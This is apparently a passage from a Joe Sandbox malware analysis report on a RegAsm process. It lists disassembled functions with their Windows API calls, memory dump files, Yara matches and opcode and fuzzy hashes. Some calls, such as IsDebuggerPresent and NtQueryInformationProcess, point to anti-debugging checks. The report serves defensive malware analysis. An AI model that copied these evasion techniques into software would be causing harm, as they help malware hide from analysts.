Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041D598
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041D5AD
UnhandledExceptionFilter.KERNEL32(0043332C), ref: 0041D5B8
GetCurrentProcess.KERNEL32(C0000409), ref: 0041D5D4
TerminateProcess.KERNEL32(00000000), ref: 0041D5DB

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 55db721a2f023524a9032981c1f56e9b99f3b02c219f8da3c75415065c8ed274
Instruction ID: ab49a1319c91fb35d623437d197054aa9218370bd52e40607a067ea4e103b79d
Opcode Fuzzy Hash: 55db721a2f023524a9032981c1f56e9b99f3b02c219f8da3c75415065c8ed274
Instruction Fuzzy Hash: A821CDB4C01704DFD724DFA9F948A443BB4BF08316F10916AF41887262E7B4D9818F5E

Function 6C16545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C168A4B

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: c7cd1e1a38dfe2bf02cd4a03ccdb8f4fbe74eaf21f2af281ea40c2a5b1ae91eb
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 25B1F772E0021ACFDB14CF69CC907A8B7B2EF95314F1902A9C549DBB85D734A995CF90

Function 6C16542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C1688F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C16925C

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 4419338bcd69df59885b8d1222912937160fde647b0a9c9e83085ac58beb55b1
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 1AB1F572E0010ACFDB14CF69C8907ADB7B2EF85314F1902A9C949DBB85D730A999CB90

Function 00411E5D Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction ID: cc1f0cdc7ec9addca40c1236ae1a006933468a7893b1c2cc3d15f31d1535d567
Opcode Fuzzy Hash: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction Fuzzy Hash: 3F010C70500309BFDF158FA1DC849AB7BBAFF493A5B248459F90593220E7369E91EA24

Function 6C136CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C136D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C136E1E

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: af8c945bde72ad881b5fb40c7cc0e775cf35120cd3f53e89c90d873e76155f68
Instruction ID: 70df9414ce95c9320413f94bbbbd7dc24d72bfeb802b88628127aebad79f39a9
Opcode Fuzzy Hash: af8c945bde72ad881b5fb40c7cc0e775cf35120cd3f53e89c90d873e76155f68
Instruction Fuzzy Hash: 04A1BD746083948FCB15CF24C4907AEFBE2BF99308F51895DE88A87751DB70E848CB92

Function 6C1585F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C158C7C
__aulldiv.LIBCMT ref: 6C158DD7

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: e8c7f6efd18799e7e6ac887e6e827e12ea464db2865ed44238c255a9522f701d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: E1328F71F501198BEF18CE9CC8A17AEB7B3FB88300F55813AD516BB790DA389D458B91

Function 0040145B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0040146D
NtQueryInformationProcess.NTDLL(00000000), ref: 00401474

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction ID: b0d32a7bd978dbc9842abeebd7712166406d741a383243a14520f93e3bb00ea5
Opcode Fuzzy Hash: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction Fuzzy Hash: 23E01271640304F7EF109BA0DD0AF5F72AC9700749F201175A606E60E0D6B8DA009A69

Function 6C135C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C104A63,?,?), ref: 6C135F06

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8bccf46c1e69c74f7e71a666fda859e7a02faa11b6a5ea405dfd055f4e342977
Instruction ID: 36737ddd5eec334e881e68c5245147bb3d710c84e4a086cf9ac312ee22e9bdb2
Opcode Fuzzy Hash: 8bccf46c1e69c74f7e71a666fda859e7a02faa11b6a5ea405dfd055f4e342977
Instruction Fuzzy Hash: C4C1D075D012298BCB04CF95C5906EEBBF2FF8A71CF28515DD8596BB40D732A906CB90

Function 0042B6A6 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(Function_0002B311,00000001), ref: 0042B6BF

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 71233c757571041fde1794e70a568a27b00ce2caed3254e144efe0d5e5c96c25
Instruction ID: 9807d515ddb60fa6e927cfc809926f0659eae5e577ebf01960d36fb8498bfc17
Opcode Fuzzy Hash: 71233c757571041fde1794e70a568a27b00ce2caed3254e144efe0d5e5c96c25
Instruction Fuzzy Hash: 19D05E71A107005BD7204F31AD4D7E177A0EB10B16FB0994ADC92460D0D7B865898645

Function 0042777E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002773C), ref: 00427783

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1ffd29ec66e9a2695741722d1d369e44750c41d9c7e2cfbc6c2ecba3aad4e4aa
Instruction ID: 1644436284b0a7b2a15c9db4acb308acf5fbc35cf6cc52f99dedca50f990d8ce
Opcode Fuzzy Hash: 1ffd29ec66e9a2695741722d1d369e44750c41d9c7e2cfbc6c2ecba3aad4e4aa
Instruction Fuzzy Hash: 6A90026035E250464A0117706C1D50565906A88706F951571A041C4094DB9550405559

Function 0042CE7E Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 819a3509100cd1f76d801f5c374fa499e6ac2a37458caad9e1948da6b87a5015
Instruction ID: a9e0b42e66d194ce75b47667876b44853fbf9b288a5cb0ae8ab69c8739f1dbc1
Opcode Fuzzy Hash: 819a3509100cd1f76d801f5c374fa499e6ac2a37458caad9e1948da6b87a5015
Instruction Fuzzy Hash: 5B02C633F496B24B8B718EF954D022B7FA05E0174135F46DADDC03F296C21AED1A96E8

Function 6C120512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d939ebaf4b6e86265a0d630f5a45254d6886d5d786fd70743bc0a1c2ab426aad
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE222775E04619CFCB18CF98C890AADF7B2FF89304F658299C54AA7705D735A986CF80

Function 6C16AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57b0aa329536a598514b55ec397e1f7a3697f16464b5d2303b17c298f4bfbe44
Instruction ID: fa2553537b7e929dedf270b703fe19046743700ea3bca552a4935365e80919dc
Opcode Fuzzy Hash: 57b0aa329536a598514b55ec397e1f7a3697f16464b5d2303b17c298f4bfbe44
Instruction Fuzzy Hash: 53F17A72A083558FD700CE29C8903AEB7E2AFD5318F158A6DE9D587F81E374D894C792

Function 0042DE6B Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: 0d2d1f63bc10fc1c0cdc15bfec8e57e9e45252a96f58b64de4ee2da727e9293e
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 47C19273E0E5B2058B35852E651823FFF626ED1B4135FC3A2DCD03F289C62A6D1695D8

Function 0042DA83 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 541032199737637ff894312756ec9dba0487bb12508ff81748ce9a1ba53fe248
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: CBC1A373E1E9B2058B35862D641823FFF626ED1B4135FC392DCD03F289C22AAD1596D8

Function 0042D6B1 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: dcf3b1d41398b40c17bf4aafbb43e7a86f137a8003f66acf518563f8b1791396
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: F9C18173E0E5B2498B36862D641823FFF616ED1B4135FC396DCD03F289C22A6D4596D8

Function 0042D313 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: 794631a2453134b129caed9968757b4d43283205194e132013a94b9739bec4dd
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: 5FB19273E0E5B2098B35852D645823FFFA26ED1B4135FC3A6CCD03F289C62AAD0595D8

Function 00419654 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: 62699723976291efbe6595f64b362a92d9087dcb7026ff469ebc203da81dbc18
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: 8A51C272910116ABEB18CF59C4916E973B1EF84308F2684BEC85AAF286EB345D81CB54

Function 0041B85C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: 500f5cc18dc031ad1cc473a269e88541faa15aa8e90997ed07941f003af07a4d
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: 3D21D831670AE3068B848FF9FCC015267D1CB8A21BB5EC279CE90CA176D16DE6638594

Function 0040111D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

